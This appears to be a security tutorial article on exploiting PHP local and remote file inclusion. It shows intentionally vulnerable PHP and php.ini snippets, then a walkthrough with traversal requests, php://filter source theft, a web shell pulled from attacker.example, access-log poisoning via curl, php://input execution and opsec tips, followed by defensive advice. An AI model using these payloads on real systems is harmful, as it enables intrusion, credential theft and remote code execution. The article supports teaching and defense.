Local and Remote File Inclusion (LFI/RFI) Exploitation

Local and Remote File Inclusion (LFI/RFI) Exploitation - article cover image Web Exploitation
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

File inclusion vulnerabilities occur when server-side code builds a filesystem or stream path from user-controlled input and hands it to a function that reads *and executes* that path’s contents as code, rather than just serving it as a static file. In PHP this is include()/require() (and their _once variants); other stacks have narrower equivalents. Local File Inclusion (LFI) forces the application to include a file already present on the server — a config file, source file, log, or /etc/passwd — outside the small set of templates the developer intended. Remote File Inclusion (RFI) goes further: the attacker supplies a full URL, and if the runtime is configured to fetch remote streams, the include function pulls code from an attacker-controlled server and executes it immediately.

The reason this class escalates so cleanly to full compromise is PHP’s include semantics: everything inside <?php ?> tags in the included file is executed, and everything outside those tags is simply echoed as-is. That means *any* file the attacker can influence the content of — an uploaded image with PHP appended, a session file, or a web server log line containing a crafted request — becomes executable the moment the vulnerable code includes it. Impact ranges from arbitrary file disclosure (source code, database credentials, /etc/passwd) up to unauthenticated remote code execution.

Attack Prerequisites

A working LFI/RFI chain generally needs:

  • A parameter (page, template, lang, module, file) whose value flows into a dynamic include/require call (or an equivalent read primitive) with no allowlist of permitted values.
  • Insufficient path sanitization — no realpath()/basename() canonicalization and containment check, so ../ traversal sequences, absolute paths, or stream wrapper prefixes (php://, data://) pass through untouched.
  • For RFI specifically: allow_url_fopen and allow_url_include enabled in php.ini — off by default since PHP 5.2, but still found on legacy or misconfigured hosts.
  • For LFI-to-RCE without RFI: either PHP wrappers are reachable (php://filter, php://input), or the attacker has some way to write attacker-controlled bytes into a file the application will later include — an upload directory, a session file, or a request-logged value such as User-Agent.

How It Works

Path traversal is the entry point: sequences like ../../../etc/passwd walk the include path up and out of the intended template directory. But the more interesting mechanic is what happens *after* the file is reached — PHP’s engine parses whatever bytes are in that file for <?php ?> blocks and executes them, regardless of the file’s extension or where it came from. A config file, an EXIF comment in an uploaded image, or a raw log line all become live PHP the instant they’re included.

The php://filter wrapper is the standard tool for turning blind file disclosure into readable output. Including a .php file directly just executes it silently — its source never reaches the response. php://filter/convert.base64-encode/resource=config.php instead routes the target file through a base64 filter *before* PHP treats it as an include target, so the source is returned as inert base64 text in the response rather than being executed — letting the attacker exfiltrate the exact source of config.php, credentials included, without ever running it. Chained-filter techniques go further, using PHP’s convert.iconv.* filters to synthesize arbitrary byte sequences (including a PHP payload) purely from filter chaining, achieving code execution from LFI alone with no upload or log-write primitive at all.

When wrappers aren’t usable, log/session poisoning is the reliable path to RCE. Many services log attacker-controlled strings verbatim — a web server’s access log records the User-Agent and full request line, PHP-FPM and mail logs record other attacker-influenced fields, and PHP session files under session.save_path store whatever the application wrote into $_SESSION. If the attacker plants <?php system($_GET['c']); ?> inside a log or session file the web server process can read, and the vulnerable include() call is then pointed at that file’s path, PHP parses the injected tag and runs it — LFI becomes unauthenticated RCE with no file upload feature required. php://input achieves a similar effect directly: since it exposes the raw POST body as a stream, include('php://input') executes whatever PHP the attacker sent in the request body.

Vulnerable Code / Configuration

The canonical bug — user input flows straight into include() with no allowlist, no realpath() check, and no wrapper restriction:

<?php
// GET /index.php?page=about
// VULNERABLE: the request parameter is the include path, verbatim.
include($_GET['page']);
PHP

A php.ini configuration that turns the same bug into RFI by letting include() fetch and execute a remote URL:

allow_url_fopen = On
allow_url_include = On
; VULNERABLE: include()/require() will fetch and execute a remote URL
; as PHP source. Off by default since PHP 5.2 — this is a regression.
INI

A “debug log viewer” pattern that hands the attacker a poisoning primitive for free, by including a log file the attacker can influence the contents of:

<?php
// VULNERABLE: includes (executes) a log file whose lines are
// attacker-influenced via the User-Agent / request line.
$logfile = '/var/log/apache2/access.log';
include($logfile);
PHP

Walkthrough / Exploitation

Confirm LFI with a traversal read of a known local file:

GET /index.php?page=../../../../../../etc/passwd HTTP/1.1
Host: victim.example
HTTP

Exfiltrate PHP source (which would otherwise execute silently) via the base64 filter chain, then decode locally:

GET /index.php?page=php://filter/convert.base64-encode/resource=config.php HTTP/1.1
Host: victim.example
HTTP
echo '<base64 body from the response>' | base64 -d
Bash

If allow_url_include is on, host a payload and pull it straight in for immediate RCE:

printf '<?php system($_GET["c"]); ?>' > shell.txt
python3 -m http.server 80
Bash
GET /index.php?page=http://attacker.example/shell.txt&c=id HTTP/1.1
Host: victim.example
HTTP

Where RFI isn’t available, poison the access log with a payload in the User-Agent, then include the log path to trigger it:

curl -A '<?php system($_GET["c"]); ?>' https://victim.example/
Bash
GET /index.php?page=../../../../var/log/apache2/access.log&c=id HTTP/1.1
Host: victim.example
HTTP

php://input gives the same result without touching any log — the request body itself is the payload:

curl -X POST --data '<?php system("id"); ?>' \
  'https://victim.example/index.php?page=php://input'
Bash

Note: The classic %00 null-byte suffix (page=../../../etc/passwd%00) only ever worked against PHP versions before 5.3.4 (patched in 2011) to strip a forcibly appended extension like .php from the include path. On any supported PHP version today it is inert. If a forced extension is still blocking a traversal, look instead for double-extension stripping bugs, encoded traversal (%2e%2e%2f, ....//....//), or a wrapper prefix, since wrappers like php://filter don’t need to match any extension check at all.

Opsec: Log poisoning is noisy and persistent — the payload sits permanently in a log file a blue team may review, and a large access log re-executes on every include, which can be slow and error-prone. Prefer a low-volume log (an auth log entry via a failed SSH login using the payload as the username, for example) and remove the planted entries when the engagement authorizes cleanup.

Detection and Defense

The fix is architectural, not a filter — never let user input choose a filesystem path directly:

  • Allowlist, don’t sanitize — map short user-facing keys to fixed filenames server-side ($pages = ['about' => 'about.php']; include($pages[$key] ?? 'home.php');) instead of building a path from input at all.
  • Canonicalize and verify containment — resolve with realpath() and confirm the result sits inside an approved base directory before including.
  • allow_url_fopen / allow_url_include set to Off (the default since PHP 5.2 — verify it wasn’t re-enabled).
  • Restrict or block dangerous stream wrappers where not needed, and alert on php://, data://, expect://, zip://, phar:// appearing in any user-supplied path parameter.
  • Store logs and session files outside the web root, or with permissions the web application process cannot itself read back.
  • Run PHP with open_basedir to hard-contain filesystem access to an approved directory tree, independent of application-layer bugs.

Real-World Impact

File inclusion drove some of the earliest large-scale internet worms — mid-2000s RFI worms auto-propagated through vulnerable PHP forum and CMS installs that dynamically included a “language” or “module” parameter with allow_url_include still on by default in that era’s PHP. It remains a routine high-severity finding in modern web application assessments wherever legacy “include a template by name” patterns persist, and sits within OWASP’s broader injection category (A03) as one of the more consistently critical-impact bug classes because it so directly converts into RCE.

Conclusion

LFI and RFI both come from the same root cause — treating user input as trustworthy enough to name a file the application will execute — and both escalate from disclosure to full remote code execution the moment an attacker can influence the *content* of a file the app is willing to include, whether through a wrapper, a log, a session, or a remote URL. Allowlisting includable resources and disabling remote stream inclusion closes the door structurally, which is far more durable than trying to blacklist traversal sequences one encoding at a time.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL